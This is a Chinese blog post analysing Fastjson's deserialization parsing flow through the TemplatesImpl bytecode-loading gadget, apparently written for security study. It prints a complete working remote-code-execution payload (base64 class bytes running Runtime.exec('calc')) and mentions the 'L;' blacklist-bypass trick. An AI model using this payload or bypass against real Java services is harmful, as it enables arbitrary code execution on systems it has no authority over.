首页 > 其他分享 >Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)

时间:2022-10-27 13:33:26浏览次数:68  
标签:Fastjson TemplatesImpl 调用 接下来 DefaultJSONParser parseObject JSON 序列化 type


文章目录

写在前面

关于TemplatesImpl加载字节码就不多说了,之前也写过自己翻一翻,或者网上看看其他大佬的,至于为什么选择这一个,因为这里面大多数过程都有,除了​​$ref​​,算是比较全面了

流程分析

核心代码

public class test1 {
public static void main(String[] args) throws Exception{

String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parseObject(payload, Feature.SupportNonPublicField);

}
}

​JSON#parseObject()​​​方法会调用​​DefaultJSONParser#parse()​​​,在实例化​​DefaultJSONParser​​​类是会将输入数据使用实例化​​JSONScanner​​​类传入,并同时传入配置​​features​

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_实例化


设置后面的参数

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_实例化_02


继续往后面这里,看看​​JSONScanner​​干了什么

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_实例化_03


首先调用父类构造方法,获取输入与长度,调用next

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_json_04


逻辑很简单,不断去后一位直到字符串尾

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_java_05


接着回到​​DefaultJSONParser​​,由于首位是​​{​​设置​​token​​为12

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_json_06


调用​​DefaultJSONParser​​​的​​parse​​方法,并传入全局配置

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_实例化_07

包括黑名单之类的

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_java_08

由于是token之前设置了是​​12​

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_实例化_09


创建​​JSONObject​​类对象,是HashMap

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_加载_10


然后再调用 ​​DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)​​方法去解析

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_实例化_11


接下来读取字符判断是否​​ch=='"'​​,TRUE就获取其中的字段的值​​@type​​并紧接着判断​​key == JSON.DEFAULT_TYPE_KEY​​相等,这个​​JSON.DEFAULT_TYPE_KEY​​就是​​@type​

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_json_12


获取​​@type​

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_java_13


判断

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_java_14


接下来调用​​loadClass​

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_加载_15


这里也看到了之前说的绕过黑名单的小技巧用​​L;​​包裹

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_json_16


接下来加载返回我们的类

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_java_17

接下来执行反序列化

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_实例化_18


接下来我们谈一谈​​_outputProperties​​​到​​getOutputProperties​​​的转化过程,重点是​​smartMatch​​的过程

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_实例化_19


这里对下划线进行了替换为空的操作

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_实例化_20


这也就回答了上面的问题,接下来的就不必多说了,看看函数调用栈就好了

Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)_实例化_21


标签:Fastjson,TemplatesImpl,调用,接下来,DefaultJSONParser,parseObject,JSON,序列化,type
From: https://blog.51cto.com/u_15847702/5800905

相关文章

  • PHP反序列化漏洞总结
    文章目录一、基础知识1、什么是反序列化漏洞:序列化与反序列化:1、序列化:2、反序列化:二、PHP魔法函数1、常见方法:2、安全问题:三、CTF中的反序列化例题一:例题二:四、靶场练......
  • ctfshow反序列化 刷题随笔
    刷题随笔web254题目直接传参,没啥好说的web255题目<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');classctfShowUser{public$......
  • .Net内置JSON序列化中文问题
    今天在用System.Text.Json序列化的时候遇到了中文序列化的一个问题,示例如下:JsonSerializer.Serialize(new{Name="你好"});预期结果是:{"Name":"你好"},但得到结果如下......
  • Flutter(九)Json序列化与反序列化(转Model)
    在日常开发中JSON的序列化与反序列化是一个常见的操作;而Dart语言不支持反射,运行时反射会影响Dart的treeshaking(摇树优化),treeshaking可以“抖掉”不需要使用的代码,显著......
  • java反序列化漏洞cc_link_one
    CC-LINK-one前言这里也正式进入的java的反序列化漏洞了,简单介绍一下CC是什么借用一些官方的解释:ApacheCommons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons......
  • 剑指 Offer 37. 序列化二叉树 - 力扣(LeetCode)
    剑指Offer37.序列化二叉树-力扣(LeetCode)题目大意:将一棵二叉树序列化成字符串,然后通过该字符串可以重新构造出二叉树思路:看到将二叉树转化成字符串,首先想到的......
  • xml 反序列化处理
    usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Net;usingSystem.IO;usingSystem.Collections.Specialized;......
  • 序列化器的嵌套
    序列化器的嵌套(1)新建一个应用pythonmanage.pystartappschool(2)注册应用INSTALLED_APPS=[#'django.contrib.admin','django.contrib.auth',......
  • 反序列化(钩子函数进行复杂数据验证)
    反序列化(钩子函数进行复杂数据验证)5.1验证单个字段序列化器:classStudent1Serializer1(serializers.Serializer):"""学生信息序列化器"""#1.转换的字......
  • 反序列化(添加和更新)
    反序列化(添加和更新)6.1添加数据序列化器classStudent1Serializer1(serializers.Serializer):"""学生信息序列化器"""#1.转换的字段说明#字段=s......